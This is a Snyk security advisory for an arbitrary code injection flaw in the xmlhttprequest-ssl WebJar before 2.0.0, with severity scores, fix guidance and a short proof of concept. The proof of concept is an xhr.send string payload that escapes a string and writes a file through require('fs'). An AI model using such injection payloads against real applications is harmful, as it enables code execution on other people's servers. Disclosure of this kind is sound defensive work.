Arbitrary Code Injection Affecting org.webjars.npm:xmlhttprequest-ssl package, versions [,2.0.0)


0.0
high
0
10

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 3.03% (91st percentile)
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NVD
8.1 high
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Red Hat
8.1 high

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-1082937
  • published 5 Mar 2021
  • disclosed 5 Mar 2021
  • credit rinsuki

How to fix?

Upgrade org.webjars.npm:xmlhttprequest-ssl to version 2.0.0 or higher.

Overview

org.webjars.npm:xmlhttprequest-ssl is a fork of xmlhttprequest.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest() xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */) xhr.send("\');require("fs").writeFileSync("/tmp/aaaaa.txt", "poc-20210306");req.end();//")